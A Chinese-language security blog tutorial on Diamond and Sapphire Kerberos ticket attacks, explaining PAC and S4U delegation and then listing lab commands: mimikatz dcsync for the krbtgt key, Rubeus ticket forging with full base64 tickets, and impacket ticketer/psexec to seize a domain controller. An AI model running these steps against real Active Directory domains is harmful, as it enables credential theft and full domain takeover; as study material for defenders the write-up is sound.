新一代Kerberos攻击 钻石票据与蓝宝石票据
新一代Kerberos攻击 | 钻石票据与蓝宝石票据
0x01 前言
在了解票据攻击的过程中,看见了一篇文章使用Rubeus进行钻石票据攻击。但是没有原理,于是抱着学习的心态在Google上寻找文章发现除了钻石票据还有蓝宝石票据。
0x02 补充知识
在后渗透当中,咱拥有域控一定的权限之后就可以转储ntds.dit并获取krbtgt密钥。而黄金票据和白银票据的问题在于它们很容易被发现。一旦 KDC服务收到TGT/ST,并且在SIEM中收到日志,就很容易被现在的安全设备所检测出来。
黄金票据攻击和钻石票据攻击都需要访问krbtgt密钥。然而,钻石票据攻击需要访问AES256密钥。黄金票证攻击则是利用伪造票证授予票证 (TGT) ,而钻石票证攻击则利用了域控制器 (DC) 请求的真实 TGT 进行解密和重新加密进行票据攻击。
钻石票据与蓝宝石票据的区别,在钻石票据攻击当中,修改是通过添加额外权限或完全修改所请求的 TGT 的原始 PAC。而在蓝宝石票据当中,则是使用 Kerberos 委派获取高权限用户的合法 PAC 来修改 TGT,并将其替换为原始票证的 PAC。
什么是 Kerberos 特权属性证书 (PAC)?
通过微软文档知道PAC 是一种传递域控制器 (DC)提供的授权相关信息的结构。身份验证协议使用 PAC 来验证身份以传输授权信息,从而控制对资源的访问。完成身份验证后,下一个任务是决定是否授权特定请求。而 DC 包括 PAC 中的授权数据,例如安全标识符 (SID)和相对标识符 (RID)
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/54d570b1-fc54-4c54-8218-f770440ec334
Kerberos委派
Microsoft 实施了 Kerberos 扩展以避免将用户的 TGT 保留在内存中。该扩展称为S4U(Service for User),它由S4U2Self和S4U2Proxy组成。S4U2Self 允许服务代表任何用户向其自身请求票证。S4U2Proxy 将允许一个服务向另一个服务进行身份验证。
我们在这里只简单写一下约束委派,这是蓝宝石票据利用需要的。那么其他委派可以参考:
https://blog.netwrix.com/2021/11/30/what-is-kerberos-delegation-an-overview-of-kerberos-delegation/#:~:text=Kerberos%20Delegation%20is%20a%20security,account%20for%20any%20other%20network
S4U2Self
允许服务获取其自身的 Kerberos服务票证的扩展。服务票证 包含用户的组,因此可用于授权决策。要使用此协议扩展,发出KRB_TGS_REQ的用户必须至少具有一个服务主体名称 (SPN),以允许 DC 使用服务密钥加密生成的服务票证。
S4U2U KRB_TGS交换流程:
- 服务填写PA_FOR_USER数据结构,其中包含有关服务代表其请求服务票证的用户的信息,并向 TGS 发送 KRB_TGS_REQ 消息。
- 服务票证将通过 KRB_TGS_REQ 消息发送回服务。服务票据中返回的 PAC 包含授权数据。
U2U Authentication
允许客户端请求使用 TGT 中的会话密钥对 KDC 颁发的票证进行加密,该会话密钥来自颁发给验证身份验证方的 TGT。
https://www.rfc-editor.org/rfc/rfc4120#section-3.7
KRB_TGS_REQ 将具有以下功能:
- extra-tickets:将包含从中获取秘密密钥的 TGT
- ENC-TKT-IN-SKEY:选项指示终端服务器的票证将在来自提供的附加 TGT 的会话密钥中加密。服务名称(sname)可以指用户,但不一定是具有 SPN 的服务。
U2U + S4U2Self
允许没有 SPN 的用户使用 S4U2Self 扩展。在此交换中收到的服务票证使用服务器的密钥进行加密(在这种特定情况下,服务器可以是没有 SPN 的用户),因此,可以使用服务器的密钥来解密目标用户的 PAC。KRB_TGS_REQ 数据包将具有这两种方法的所有功能。
我们也可以参考微软的术语表,通过搜索引擎查找更加详细的文章
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/4a624fb5-a078-4d30-8ad1-e9ab71e0bc47#gt_2214804a-4a44-46f4-b6d2-a78f4ff39a39
0x03 钻石票据(Diamond Ticket)
钻石票据只需请求普通票证、解密 PAC、修改、重新计算签名并再次加密,生成与合法 PAC 高度相似的 PAC,并且还可以生成合法请求。
在这里我们使用Rebeus进行钻石票据攻击的利用。
利用前提:
- krbtgt aes256密钥
- 域密码
- 域控高权限
首先我们使用mimikatz获取krgtgt的aes256密钥
shell C:\Users\administrator\Desktop\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:de1ay.com /user:krbtgt" "exit"
krbkey:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118
user:mssql
password:1qaz@WSX
domain:de1ay.com
dc:dc.de1ay.com
ticketuser:administrator
在我们使用钻石票据之前,低权限的主机是无法访问域控的。那么有了以上这些信息,我们接着在低权限的机器里上传Rubeus开始进行钻石票据攻击
shell C:\Users\mssql\Desktop\Rubeus.exe diamond /krbkey:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118 /user:mssql /password:1qaz@WSX /enctype:aes /domain:de1ay.com /dc:dc.de1ay.com /ticketuser:administrator /ptt /nowrap
那么我们成功拿到了ticket.kirbi
doIFOjCCBTagAwIBBaEDAgEWooIEQzCCBD9hggQ7MIIEN6ADAgEFoQsbCURFMUFZLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJREUxQVkuQ09No4IEATCCA/2gAwIBEqEDAgEDooID7wSCA+szGDMdUZAhjLgE3qMBr5MTc5dckpDKwNP8b2X8tAIrhNFCvUzf9Cv5V/0ku9XV8NLAU9++HldhkqOlyhoC9lCqMF28LbqlVJej/50CH8Zyp6aG2/nj3MyJc4RRvaLi88zu5BRrvmTRzB7AYR6Y/oOSfB7dGl38uwWxQSLOfCHgXIiXScR0VEXTkmgkuHkYp4b+Z+FDgGvCObP4oqJ3FLgUwoFphLnujdjKLtMH0oQexkZvHOBzD7phLgjYl1SB0FycF+iPVc+2zId6IW4jgroSCyVKGo7jsuLcocwRlAw5poPPtJHaHid/gGEG7OFXllvdzU0eGiZSuZiDyDrWMTbYbmz0byS7gPEZCT7oXcnRQJUSD4Ogc+ISokf/8g/qYCN0FDgumPRh/D346Y4SRRkxuXKXMvUzhblSwBXTN+9RMfS9RbWX4C0v7ROO3Yse3/jx9omGSE+A25r8bZ9ZsFhXtDveKVBTbnugVAdevVjy90zNvRb0h7Q3ZB8jEKfZO0wPBmFiKRXP9/J+OIUeOU+tL/EpzDB80KDZg9/sUoOETxMwDW/KMAthL4FzWiKyfIyjR0QhhJy20RY4tHlC5fbC5beT179cJViw960oZNYOTsBtLYe1JHH+IJmVAeZ6SdACVTThOBIL1u/D0mowpwzuc/cZzGzlOO5KimN/3Yp0SUDIr62RYZz31LqdEoWoCcWE7Nz43uhxOLScXrA/q31MTQ+TzXlEJZGzWhbu2uXHzm49ZUUruORvg4fjkGFDdtl1tnazdnGrXAHA8ZH6r1sssYNAGgxfBY/NkOEKmEgLYOjZH35QiCQNo9/ZOl6titS23D8GJJIaq1SWf+gXeneZxQxfLxS49uIvXe+t49saOZcQ0AQ4C5tTAuWxUQ9ncCCyF/9XHvYVP6EBPyzaCgtQFn3TpbPfjtd5sa+NtOsCwiN5vKLia9taYEu9oAT+Ht+Ddy3O1SkLKVvWhrkIoLR345foUspatqwBY4vXDmVuxYNho3/XiWPR7obF8OYC8AggyIqDnJyUtS6dAkDlbbj98Tyvvhpo5CBynPBov0gl4wKmwkSvaawud77HCnPS1/nIbcSpTNrsfN+IrEgaWHqt7RiopeIAT8xHjwjol+GIYisCXj610woDHLDiVxcDEZGHxKeCI22DUXcAIBoQMvE/UsozNBEiqwHKU5WIiry295VXJkrJpIeIbDnLse+0EmTWQj6EaJv/SNREGC951bTmm4ZxQuMXOELawQ3jtlqqHaHYBtPODbwJd4/wXZ7/RVISVxkMZTrW6ICnLIqgsVCLgRmKtq6/RqdRq55qUA6nNhHNtKMR+UK+z/0Ao4HiMIHfoAMCAQCigdcEgdR9gdEwgc6ggcswgcgwgcWgKzApoAMCARKhIgQgFFYLhJYuJsG5bAITiU7Fdu0VY9GZQ7h7nyVe6T3FnhChCxsJREUxQVkuQ09NohowGKADAgEBoREwDxsNYWRtaW5pc3RyYXRvcqMHAwUAQOEAAKURGA8yMDIzMDgxMzA3MjkxOVqmERgPMjAyMzA4MTMxNzI5MTlapxEYDzIwMjMwODIwMDcyOTE5WqgLGwlERTFBWS5DT02pHjAcoAMCAQKhFTATGwZrcmJ0Z3QbCURFMUFZLkNPTQ==
接着就是利用拿到的ticket开始钻石票据攻击
shell C:\Users\mssql\Desktop\Rubeus.exe asktgs /ticket:doIFOjCCBTagAwIBBaEDAgEWooIEQzCCBD9hggQ7MIIEN6ADAgEFoQsbCURFMUFZLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJREUxQVkuQ09No4IEATCCA/2gAwIBEqEDAgEDooID7wSCA+vCJjVu4BXMErHu9AbT4sKyrD3wcyA7nVgBYuedC2mW1SqJZY1C3u6HmSt0GkVEqKbV+vaj3kf+HdpwSmmj9gxyovEB18CoLR8r7hPpOA2jVsPZEC5jyT6jat+SPmhS0YQ5sHzHA/Qp6BINHSBCcQt4fhNMX0phz2ppa6wlIUty3vTRLtS8C0AzRZisN98ygNPaPOsGnsrHtlHfJr7FAYS39xUXuBQdFeqMF25Y3AnXcadtkCsjw/J2jTZZF05w2tRPitvBUQazC3wElgSJf4Hptq2ULF/ydCftPLPrxW7QMa2IlUHp44CwXMWr4g5WIuwMdMmQlSZ2BdEVuTSnp3jtGpBnsxhH/NZHtrCQFbTzUdiDe3fBIs38yPXUovcRwimDLv7mIoG/OvM/N0Q2ZQBEyQ1UxirowGYex2GaVOhud4TXNYT+ZXA+hGPD4fP0Aco60Ruj7mvoIibIXDL7RgQ+CZ/7lTOniIMa1s0DbIvBkyqu9feDDzZq/CQG93PRERr4iMR0pbr+GFEJq/ObUAVL+dAJXC6gZ2aVW5Bnnb2LxaP6ETkSgPJiWjBVviDB+U6aKMu9diH/qW4rbmBJlwORtMytTHhTMAlk/Q0/zMnJeyvVrPu0FPAcOANHTmjk/eLG3SHyHCr09c4A/K0HY6vBFVdYFG5+QoqsogFLNQ9+aIt3EyrIYcvdcEars2P95zoCrmLVSEDUDo7Oug5pixYYmkx6McgjUeoHkVeWrTH9lhsRY5HsT1HtwzcB1p2skO82mU21ISdxsFVSuLCTPwj1Zshy0pEx/wMLMz5KeAx7KIFuVFQVO4/0bSxJPHWY4q9R6Tbdy0C1kAWdeDJmrmtKw8OKY7nm9kS38WDwgOHOzRVoIdlrPCwL0DStD409P0OVUmTFqq1VevKwpeH5d/TetK35MLy6JfW52oH9dSM2LStQTwLGHqZ0/2O/WzDlzxXfTvBPYGO4kU05yrGplQhNX7lRwSn7FIHaHQ+HQ1XsPsR7Mb6MDBlo1ViNOCd/Bf9QhKKfcF9nB/9PFcHLiHzmwy5NDP53WG9GD07jBHJzxqde3NrhuzfThoh9OiggPQEvDvr4F+s4oSuLiHTZE01Ly/8jfyk3xsAv7nxdxibe60SDYGVINhG2RZos73O4fbSPqHIResToAobklkLFVePCTQhgcF/xwKa3MaA81V9LfVzMcTAFnnWtCLhIunesKCZn3UVuwyrTR6kgnshIgPZysFeppBpqpHRN+XpGc7YJdRo6f5j1WU6L9d61olLb19xDjc4CfeYwJiSZEY48d47WVu5Ruk35ZevqV8QfI9NWSGjwefCmGPXqjPLLo4HiMIHfoAMCAQCigdcEgdR9gdEwgc6ggcswgcgwgcWgKzApoAMCARKhIgQgcoXEQyOHq+NrtOFk6yBj7RsmO81Vqmbi4PvqaJmJqIqhCxsJREUxQVkuQ09NohowGKADAgEBoREwDxsNYWRtaW5pc3RyYXRvcqMHAwUAQOEAAKURGA8yMDIzMDgxMzA0MTgxNlqmERgPMjAyMzA4MTMxNDE4MTZapxEYDzIwMjMwODIwMDQxODE2WqgLGwlERTFBWS5DT02pHjAcoAMCAQKhFTATGwZrcmJ0Z3QbCURFMUFZLkNPTQ== /service:cifs/dc.de1ay.com /ptt /nowrap
成功以低权限机器访问域控!就此钻石票据也利用成功了。
0x04 蓝宝石票据(Sapphire Ticket)
蓝宝石票据攻击可以创建一个模拟任何用户的 TGT,结合 S4U2Self + U2U 组装真正的 TGT 和真正的 PAC。该 PAC 会替换合法票据中的 PAC
我们目前通过刚才的lsadump::dcsync /domain:de1ay.com /all来获取域的安全标识符(SID)
咱接下来使用的是impacket,下面这个Github项目是已经添加-impersonate功能的ticketer.py
https://github.com/ShutdownRepo/impacket/blob/sapphire-tickets/examples/ticketer.py
由于目前我环境的问题,这边用的资料的截图作为例子!
目前我们有以下信息
domain admin:snapattack
domain:snapattcker.labs
user:vgullible
pass:Passw0rd1
aesKey:fec5d... ....
domain-sid:S-1-5 ... ...
DC:arrakis.snapattack.labs
那么我们就可以开始进行蓝宝石票据攻击
python3 ticketer.py -request -impersonate 'snapattack' -domain 'snapattack.labs' -user 'vgullible' -password 'Passw0rd1' -aesKey 'fec5d... ....' -domain-sid 'S-1-5-21-... ...' 'snapattcker'
export KRB5CCNAME=snapattcker.cache
python3 psexec.py snapattack.labs/snapattack@arrakis.snapattack.labs cmd.exe -k debug -n
执行完之后,蓝宝石票据就攻击成功了。我们可以直接再次接管域控。
0x05 结尾
学习学习新技术,多涨涨自己的技术知识面!
# 参考链接:
https://pgj11.com/posts/Diamond-And-Sapphire-Tickets/
https://jimmysured.github.io/2022/09/28/Diamond-Ticket-Sapphire-Ticket/
https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/
https://unit42.paloaltonetworks.com/next-gen-kerberos-attacks/#post-126011-_19wo0e5qmjx8
文章来自https://mp.weixin.qq.com/s/Swp3eptexjZOFD-WoZ9ZYQ
新一代Kerberos攻击 钻石票据与蓝宝石票据的更多相关文章
- 单点登录跳转失败(原因是 主票据申请子票据失败) asp.net 同站点下不同应用间不同版本Framework问题
单点登录跳转失败(原因是 主票据申请子票据失败) asp.net 同站点下不同应用间不同版本Framework问题 今天遇到一个问题,在主站点现在配置的应用和主站点登录会话状态不能共享,进入子站点应用 ...
- 域渗透之票据传递攻击(pass the ticket,ptt)
票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单. 1.ptt攻击的部分 就不是简单的N ...
- 票据传递攻击(Pass the Ticket,PtT)
目录 黄金票据 生成票据并导入 查看票据 验证是否成功 黄金票据和白银票据的不同 票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金 ...
- Kerberos的黄金票据详解
0x01黄金票据的原理和条件 黄金票据是伪造票据授予票据(TGT),也被称为认证票据.如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信.由于黄金票据是伪造的TGT,它作为TGS- ...
- 伪造TGT黄金票据
通过上一篇文章我们初步了解了Kerberos协议的工作过程,解决的两个问题 第一个问题:如何证明你本人是XXX用户的问题 由Authentication Server负责 第二个问题:提供服务的服 ...
- 域渗透 | kerberos认证及过程中产生的攻击
文章首发于公众号<Z2O安全攻防> 直接公众号文章复制过来的,排版可能有点乱, 可以去公众号看. https://mp.weixin.qq.com/s/WMGkQoMnQdyG8UmS ...
- 内网安全之:黄金&白银票据传递域控制器权限维持
内网安全之:黄金&白银票据传递域控制器权限维持 目录 内网安全之:黄金&白银票据传递域控制器权限维持 1 Golden Ticket 1.1 导出 krbtgt 的 NTLM Hash ...
- 深入浅出了解OCR识别票据原理(Applying OCR Technology for Receipt Recognition)
原文:Applying OCR Technology for Receipt Recognition 译文:深入浅出了解OCR识别票据原理 英文票据识别技术, 非中文票据识别技术, 中文情况的ocr更 ...
- kafka-producer kerberos 原理和配置
kerberos简单介绍 kerberos这一名词来源于希腊神话“三个头的狗---地狱之门守护者”后来沿用作为安全认证的概念,该系统设计上 采用客户端/服务器结构与DES(Data Encryptio ...
- 域渗透-凭据传递攻击(pass the hash)完全总结
总结下PtH具体形式(wmicexec.powershell.msf等) 0x01 PtH攻击原理 && 黄金白银票据 PtH攻击原理 wiki https://en.wikiped ...
随机推荐
- 2022-06-11:注意本文件中,graph不是邻接矩阵的含义,而是一个二部图。 在长度为N的邻接矩阵matrix中,所有的点有N个,matrix[i][j]表示点i到点j的距离或者权重, 而在二部
2022-06-11:注意本文件中,graph不是邻接矩阵的含义,而是一个二部图. 在长度为N的邻接矩阵matrix中,所有的点有N个,matrix[i][j]表示点i到点j的距离或者权重, 而在二部 ...
- 2021-01-31:Redis集群方案不可用的情况有哪些?
福哥答案2021-01-31:[答案来自此链接:](https://www.zhihu.com/question/442112697)一个集群模式的官方推荐最小最佳实践方案是 6 个节点,3 个 Ma ...
- Windows server 2012 安装ad域
Windows server 2012 安装ad域 安装ad域(active directory)服务的作用:存储目录数据并管理域之间的通信,包括用户登录处理,身份验证和目录搜索等. 1.使用ad ...
- 记一次排查:接口返回值写入excel后,从单元格copy出来的数据会带有多重引号的问题
在项目里刚好有3个服务,同一个网关内层的3个服务,两个php的,一个golang的,为了提高负载以及进行分流,部分客户的接口调用会被网关自动分配到go服务. 恰好为了测试,我写了一个全量用户的生产.测 ...
- Linux 大页内存 Huge Pages 虚拟内存
Linux为什么要有大页内存?为什么DPDK要求必须要设置大页内存?这都是由系统架构决定的,系统架构发展到现在,又是在原来的基础上一点点演变的.一开始为了解决一个问题,大家设计了一个很好的方案,随着事 ...
- cookie和session以及token
cookie和seesion以及token 技术都基于状态保持, cookie: 有服务器生成, 以 k:v 形式保持在浏览器端,下次请求服务器,附带cookie信息:存在恶意修改可能:可以对co ...
- jQuery 添加水印
jQuery 添加水印 <script src="../../../../AJs/jquery.min.js"></script> <script t ...
- 2个场景实例讲解GaussDB(DWS)基表统计信息估算不准的处理方案
摘要:通过2个实例场景讲解GaussDB(DWS)运维解决方案. 本文分享自华为云社区<GaussDB(DWS)运维 -- 基表统计信息估算不准的常见场景及处理方案>,作者:譡里个檔. 场 ...
- Galaxy 平台下 LEfSe 安装与使用教程
LEfSe (Linear discriminant analysis Effect Size) 是一种用于发现和解释高维度数据生物标识(基因.通路和分类单元等)的分析工具,可以进行两个或多个分组的比 ...
- 微信小程序脚手架火爆来袭,集成 Taro、uniapp 第三方模版,支持小程序 CI 上传,预览,发布
微信小程序脚手架 @wechat-mp/cli 微信小程序脚手架,集成 Taro.uniapp 第三方模版,支持小程序 CI 上传,预览,发布 注意事项 需要在微信公众平台开发管理-开发设置-IP白名 ...